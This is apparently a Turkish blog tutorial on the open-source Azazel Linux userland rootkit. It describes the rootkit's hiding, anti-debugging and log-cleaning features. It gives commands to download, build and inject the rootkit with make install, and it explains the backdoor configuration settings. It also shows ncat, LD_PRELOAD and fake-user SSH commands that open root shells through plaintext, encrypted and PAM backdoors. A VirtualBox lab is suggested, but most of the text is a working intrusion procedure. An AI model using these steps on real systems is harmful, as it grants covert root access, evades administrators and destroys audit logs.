Merhaba
Azazel, Userland için C ile geliştirilmiş bir rootkit yazılımdır. Açık kaynak kodlu olup, https://github.com/chokepoint/azazel adresinden kaynak kodlarına ulaşılabilir.
Jynx rootkit’ininde kullandığı LD_RELOAD tekniğini Azazel’de kullanmaktadır. Jynx rootkit’i ile karşılaştırıldığında daha güçlü ve farklı özellikleri olduğu görülmektedir.
Azazel’in Özellikleri
- Anti-debugging
- lfsof, ps ve ldd komutlarından gizlenme
- Dosya ve dizin olarak gizlenme
- Processlerini gizleme
- PCAP’ hook atarak yerel sniffing’den kaçış
- Log temizleme
- Sabit ifadeleri XOR ile şifreleme
- 2 farklı oturum sağlama özelliği. Encrypted ve PlainText mod.
Kurulumu
Github’dan azazel’in kaynak kodu indirilir.
wget -O /tmp/azazel.zip https://github.com/chokepoint/azazel/archive/master.zip cd /tmp/ unzip -x azazel.zip
Rootkit’i derlemek için
cd azazel-master/ make
Eğer make install olarak komut çalıştırırsanız Azazel sisteme bulaşacaktır. Bu nedenle bu çalışmalarını VirtualBox üzerinde kurulacak bir linux dağıtımı ile yapmanızı önerilmektedir.
Konfigürasyon Dosyası
Azazel rootkit’inin ayarları config.py dosyasında bulunmaktadır. Bu ayarların ne anlama geldiği aşağıdaki tanımlanmıştır.
LOW_PORT, HIGH_PORT = Plain Text modda bağlantı için gelen talebin kaynak portunun tanımlı olabileceği aralık. Bu aralık haricinde ki Plain Text mod ile gelen bağlantılar için rootkit çalışmayacaktır.
CRYPT_LOW , CRYPT_HIGH = Cryptohood modda gelen bağlantı için gelen talebin kaynak portunun tanımlı olabileceği aralık.
BLIND_LOGIN = PAM Backdoor’unu aktiv etmek için sahte username.
SHELL_MSG = Bağlantı gerçekleştiğinde gösterilecek mesaj.
SHELL_PASSWD = Plaintext ve Crypthook modları için ortak şifre.
ANTI_DEBUG_MSG = Sistem admini ptrace ile rootkit’i takip etmek istediğinde gösterilecek mesaj.
PASSPHRASE = encryption ve decryption için kullanılacak olan key.
KEY_SALT = Salt key
Azazel Injection
Make install komutu ile Azazel sisteme enjekte edilir.
[root@localhost azazel-master]# make install [-] Initiating Installation Directory /lib [-] Installing azazel [-] Injecting azazel
Azazel 3 farklı oturum mantığı desteklemektedir.
PlainText Backdoor
Azazel’in konfigürasoyn dosyasında belirtilen port aralığından herhangi bir port’u source port olarak belirtip bağlantı talebinde bulunulmaktadır.
$ ncat 192.168.1.3 22 -p 61040 123456 Welcome! Here's a shell. root@host:/root #
Crypthook Backdoor
Azazel’in Crpythook modülünü kullanarak bağlantı gerçekleştirilebilir. Bunun için bağlantı gerçekleştiren client’in Azazel ile aynı AES encryption’ını kullanması gerekmektedir.
LD_PRELOAD=./crypthook.so ncat 192.168.1.3 22 -p 61051 123456 Welcome! Here's a shell. root@host:/root/ #
PAM Backdoor
Azazel’in konfigürasyon dosyasında rootme adında sahte bir kullanıcı tanımlaması yapılmıştır. Bu kullanıcı ile ssh talebinde bulunulduğunda, Azazel bunu fark edip SSH talebinde bulunan kullanıcıya SSH bağlantısı gerçekleştirecektir. Ayrıca PAM hook’u üzerinden yerel yetki yükseltme özelliği kullanılabilir.
$ make client $ LD_PRELOAD=./client.so ssh rootme@192.168.1.3 root@host:/ #
SSH bağlantısı gerçekleştiğinde aşağıdaki komut ile root yetkilerine erişilebilir.
su - rootme
Test olarak PAM Backdoor modülü denenmiştir ve başarılı şekilde çalışmıştır. rootme kullanıcı ile ssh bağlantı talebi gerçekleştirildiğinde, bu kullanıcı için şifre talep edilecektir.Şifre, Azazel’in konfigürasyon dosyasında tanımlanmıştır.